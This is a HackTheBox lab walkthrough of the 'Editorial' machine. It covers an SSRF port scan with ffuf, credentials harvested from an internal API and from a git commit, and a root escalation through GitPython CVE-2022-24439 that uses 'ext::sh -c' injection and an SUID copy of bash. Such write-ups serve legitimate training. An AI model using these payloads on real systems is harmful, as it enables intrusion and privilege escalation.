HackTheBox - Editorial Walkthrough

HackTheBox - Editorial Walkthrough

Introduction

Today, I am going to walk through Editorial on Hack the Box, which is an easy-rated machine created by Lanz. Editorial started off by discovering a blind SSRF vulnerability that was leveraged to perform a port scan on the local server to identify an open port. The open port revealed several API endpoints that could be accessed via the original SSRF vulnerability to discover userland credentials. Vertical escalation to another user was possible due to credentials being left in a Git commit, which led to abusing a Python script to escalate to root.

After reviewing my approach and discussing it with others who have also completed the box, I realized that the web application framework was listening on a known port, eliminating the need for a port scan. I still got the same result, but scanning all 65K ports probably wasn't needed.

Initial Enumeration

As always, I started with an Nmap scan to scan all ports which came back with two ports open: 22 and 80.

07/27/24 22:55:47:htb/editorial > sudo nmap -T4 -p- -vvv 10.10.11.20 -oN scans/editorial_allports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-27 22:55 EDT
Initiating Ping Scan at 22:55
Scanning 10.10.11.20 [4 ports]
Completed Ping Scan at 22:55, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:55
Completed Parallel DNS resolution of 1 host. at 22:55, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:55
Scanning 10.10.11.20 [65535 ports]
Discovered open port 80/tcp on 10.10.11.20
Discovered open port 22/tcp on 10.10.11.20
Completed SYN Stealth Scan at 22:56, 16.51s elapsed (65535 total ports)
Nmap scan report for 10.10.11.20
Host is up, received echo-reply ttl 63 (0.066s latency).
Scanned at 2024-07-27 22:55:49 EDT for 16s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Initial Nmap scan against all ports

Knowing what ports were open, I ran another Nmap scan, but this time focusing on just those ports and using default enumeration scripts.

07/27/24 22:58:51:htb/editorial > sudo nmap -sC -sV -oN scans/editorial_openports 10.10.11.20 -p 22,80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-27 22:58 EDT
Nmap scan report for 10.10.11.20
Host is up (0.058s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Targeted Nmap scan against just open ports

SSH - 22

SSH is almost never going to be the initial way into a machine, so I skipped it until I had either credentials or a key to authenticate with.

HTTP - 80

The targeted Nmap scan hinted at it not following the redirect to http://editorial.htb. I added the domain to my hosts file so I could resolve it.

[2024-07-21 02:00:45Z] [~/D/c/h/editorial] > echo '10.10.11.20 editorial.htb ' | sudo tee -a /etc/hosts
10.10.11.20 editorial.htb 

Adding editorial.htb to the hosts file

After modifying the hosts file, I was able to access the page via the domain name and was brought to the index.

Index page of http://editorial.htb

Poking around the page did not reveal much functionality or additional pages that would lead us somewhere. However, there was a feature to submit book information that would then be reviewed by someone.

Completing the book submission form

Part of the submission process was to upload the cover of the book via two methods: the URL of the image or uploading it directly through the page. I first uploaded an example image through the page and noticed the cover preview changed and was uploaded to hxxp://editorial.htb/static/uploads/96d17262-c390-4568-84f9-afbf4178aa74.

Uploading a test image as the cover

I navigated to the URL where the example image was uploaded and was able to download it. This means we can access files in /static/uploads if we know the filename.

Viewing the test image used for the cover

I hosted the image myself, used the cover URL feature to upload the book cover image, and noticed the web application hit my listener with the machine's IP, which means I might have an SSRF vulnerability on my hands.

Confirming possible SSRF vulnerability

If I did not provide a book cover image during the submission process, the form would default to a generic one located at /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg.

Generic Unsplash cover image

Exploring Possible SSRF on Cover Upload Feature

Rather than continuing to test the potential SSRF vulnerability in Firefox, I captured the same POST request in Burp and passed it to the Repeater tab to make the process easier for myself.

The first thing I did was change my Kali IP in the request to 127.0.0.1 to see if the server would show reveal internal resources. Instead of something interesting, I got the same generic cover image location.

Attempting to view port 80 on localhost

I also attempted to view files such as /etc/passwd which again, did not work as I got the generic cover image.

Attempting to view /etc/passwd

The last thing I wanted to do was perform a port scan. It is similar to what I did in my Creative walkthrough. However, rather than using wfuzz, I used ffuf.

TryHackMe - Creative Walkthrough
I am going to walkthrough “Creative” from TryHackMe. This is an easy-rated machine that starts off with discovering a new virtual host, exploiting a server-side request forgery vulnerability in a URL testing tool, and then escalating to root via the LD_PRELOAD environment variable.

I started by saving the initial POST request from Burp to a file, similar to what you would do if you wanted to use it in something like SQLMap. After saving it, I changed the port number in the request to FUZZ, as this is where I wanted ffuf to look and replace the port numbers at.

Modifying the req.txt file to use with ffuf

I then passed this request file to ffuf with a wordlist that contained all 65,535 TCP ports. Looking back, I did not need to do this as the web application is running Flask, which listens on TCP/5000, but hindsight is 20/20.

Here, I am filtering out any response sizes of 61 bytes, which was a baseline I assumed for closed ports based on testing. It made showing any open ports a lot easier.

07/28/24 0:52:19:htb/editorial > ffuf -request req.txt -request-proto http -w /usr/share/wordlists/SecLists/Discovery/Infrastructure/65k-ports.txt --fs 61

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: /home/gray/Documents/ctf/htb/editorial/65k-ports.txt
 :: Header           : Host: editorial.htb
 :: Header           : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
 :: Header           : Origin: http://editorial.htb
 :: Header           : Referer: http://editorial.htb/upload
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Content-Type: multipart/form-data; boundary=----WebKitFormBoundary53zRzGrcIzJBp1CU
 :: Header           : Accept: */*
 :: Header           : Accept-Language: en-US,en;q=0.9
 :: Header           : Connection: close
 :: Data             : ------WebKitFormBoundary53zRzGrcIzJBp1CU
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
------WebKitFormBoundary53zRzGrcIzJBp1CU
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53zRzGrcIzJBp1CU--
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 61
________________________________________________

5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 69ms]

ffuf discovered port 5000 returned a different response size

Going back to the request I had in Burp, I changed the port to 5000 and confirmed I did not get the generic Unsplash location but instead received a file in static/uploads which was different than all the previous requests.

Opening the downloaded file, it looked to be in JSON format. It seemed there was an API being served on port 5000, which can only be accessed internally.

💡
Remember, we have the ability to read files in /static/uploads if the filename is known. We learned this from uploading a cover image from before.
Testing port 5000 in the original SSRF payload

SSRF with API Endpoints on Port 5000

To make reading the file I downloaded easier, I passed the file to jq to get proper JSON formatting. The file was a listing of all the various endpoints this API supported.

07/28/24 10:22:12:htb/editorial > jq < ~/Downloads/ae2b9b2a-6f63-4d1f-880e-9f6c03c285fc 
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Listing of the API endpoints that were supported

Using each of these API endpoints in my original SSRF payload in Burp resulted in more files to download that contained useful information from the endpoints, such as this one listing the coupons.

Viewing the output of the coupons endpoint

I repeated this process for the rest of the API endpoints and noticed /api/latest/metadata/messages/authors contained credentials for a user called dev.

The output of /messages/authors contained cleartext credentials

Knowing SSH was open on the box, I used these credentials to log in and was able to access the system as the dev user.

Successfully logging in as the dev user

Userland Enumeration

The dev user did not have any sudo privileges on the machine.

dev@editorial:~$ sudo -l
[sudo] password for dev: 
Sorry, user dev may not run sudo on editorial.

No sudo privileges

There were no interesting SUID binaries, apart from the ones that we would expect to see.

dev@editorial:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/umount
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/su

No interesting SUID binaries

There were two users on the box: our current user and another called prod

dev@editorial:/var/backups$ ls -l /home
total 8
drwxr-x--- 5 dev  dev  4096 Jul 28 07:32 dev
drwxr-x--- 6 prod prod 4096 Jul 28 07:51 prod

Two users on the machine: dev and prod.

Exploring further, I found a .git directory in /home/dev/apps/.git

dev@editorial:~/apps/.git$ ls -l
total 48
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 branches
-rw-r--r--  1 dev dev  253 Jun  4 11:30 COMMIT_EDITMSG
-rw-r--r--  1 dev dev  177 Jun  4 11:30 config
-rw-r--r--  1 dev dev   73 Jun  4 11:30 description
-rw-r--r--  1 dev dev   23 Jun  4 11:30 HEAD
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 hooks
-rw-r--r--  1 dev dev 6163 Jun  4 11:30 index
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 info
drwxr-xr-x  3 dev dev 4096 Jun  5 14:36 logs
drwxr-xr-x 70 dev dev 4096 Jun  5 14:36 objects
drwxr-xr-x  4 dev dev 4096 Jun  5 14:36 refs

Contents of the .git directory

Viewing the HEAD file reveals several commits have occurred since the initial push.

dev@editorial:~/apps/.git/logs$ cat HEAD 
0000000000000000000000000000000000000000 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905723 -0500       commit (initial): feat: create editorial app
3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a036b2f33c59e2390730699a488c65643d28 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905870 -0500       commit: feat: create api to editorial info
1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906108 -0500       commit: change(api): downgrading prod to dev
b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dfef9f20e57d730b7d71967582035925d57ad883 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906471 -0500       commit: change: remove debug and update api port
dfef9f20e57d730b7d71967582035925d57ad883 8ad0f3187e2bda88bba85074635ea942974587e8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906661 -0500       commit: fix: bugfix in api port endpoint

Listing recent commits for this repository

Using git show on each of the commits starting from the initial commit reveals that commit 1e84a036b2f33c59e2390730699a488c65643d28 included the credentials for the prod user.

Cleartext credentials in the second commit
dev@editorial:~/apps/.git/logs$ git show 1e84a036b2f33c59e2390730699a488c65643d28 
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

<snip>
+
+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+    return jsonify({
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_XXXXXXXXXXXXXXXXX\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+    }) # TODO: replace dev credentials when checks pass

Viewing the changes in the commit to reveal credentials

The password in the commit worked, and I was able to switch to the prod user via my active SSH session.

dev@editorial:~/apps/.git/logs$ su prod
Password: 
prod@editorial:/home/dev/apps/.git/logs$ whoami && hostname
prod
editorial
prod@editorial:/home/dev/apps/.git/logs$ 

Switching to the prod user

Enumeration as prod User

Unlike the dev user, prod did have sudo privileges on the box. The user could run /opt/internal_apps/clone_changes/clone_prod_change.py as root - this sounded very interesting.

prod@editorial:~$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

sudo privileges for the prod user

The script imported a few libraries, including the git module from the GitPython library. It then changed to /opt/internal_apps/clone_changes, takes in a repository URL (url_to_clone) from a command-line argument, initializes a new git repository, and clones the provided repository URL into a new directory called new_changes.

prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Contents of the Python script run with sudo privileges

The version of the GitPython library is 3.1.29, which is vulnerable to CVE-2022-24439.

prod@editorial:~$ pip freeze | grep GitPython
GitPython==3.1.29

Listing version of GitPython installed on victim

Snyk Vulnerability Database | Snyk
High severity (8.1) Remote Code Execution (RCE) in gitpython | CVE-2022-24439

Escalation to Root via clone_prod_change.py

I ran the Python script with sudo privileges using the malicious URL outlined in the Snyk exploit POC. If successful, a new file called pwned would be created in /tmp, and it was.

prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"]

Testing CVE-2022-24439 with the provided POC example

Showing pwned file in /tmp

As I had code execution, I ran the following command. This is one of my go-to escalation vectors, as it does not negatively impact the environment and would be easy to clean up after. I am copying /bin/bash to /tmp/bash and then granting SUID permissions to /tmp/bash.

prod@editorial:/tmp$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/bash% &&% chmod% +s% /tmp/bash'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
 <snip>

Please make sure you have the correct access rights
and the repository exists.

Running Python script with an exploit to copy /bin/bash

Verifying /tmp/bash has been copied to /tmp and has the SUID bit set.

prod@editorial:/tmp$ ls -l
total 1384
-rwsr-sr-x 1 root root 1396520 Jul 28 17:27 bash
drwx------ 3 root root    4096 Jul 28 17:05 systemd-private-8312514ca6c6457ba5ab3ac138cdee30-ModemManager.service-j3DmZT
drwx------ 3 root root    4096 Jul 28 17:05 systemd-private-8312514ca6c6457ba5ab3ac138cdee30-systemd-logind.service-5WVRKl
drwx------ 3 root root    4096 Jul 28 17:05 systemd-private-8312514ca6c6457ba5ab3ac138cdee30-systemd-resolved.service-gEMeUr
drwx------ 3 root root    4096 Jul 28 17:05 systemd-private-8312514ca6c6457ba5ab3ac138cdee30-systemd-timesyncd.service-zLEIlT
drwx------ 2 root root    4096 Jul 28 17:05 vmware-root_749-4282236466

Showing bash file in /tmp

Used the binary at /tmp/bash with the -p argument to escalate to the root user.

💡
Including the -p argument here was really important. This is what preserves the effective user ID in the new Bash process. If this was not included, the effective ID would have been dropped and would not result in a root shell.
Using copied Bash binary with SUID bit to escalate to root

And that is my walkthrough of Editorial! I hope you enjoyed it and learned a thing or two! I know I sure did while doing the box. Until next time!

Kyle Gray

Kyle Gray

Hey there 👋 Certs - ITILv3, eJPT, PNPT, CRTP, CRTE, PJPT, CRTO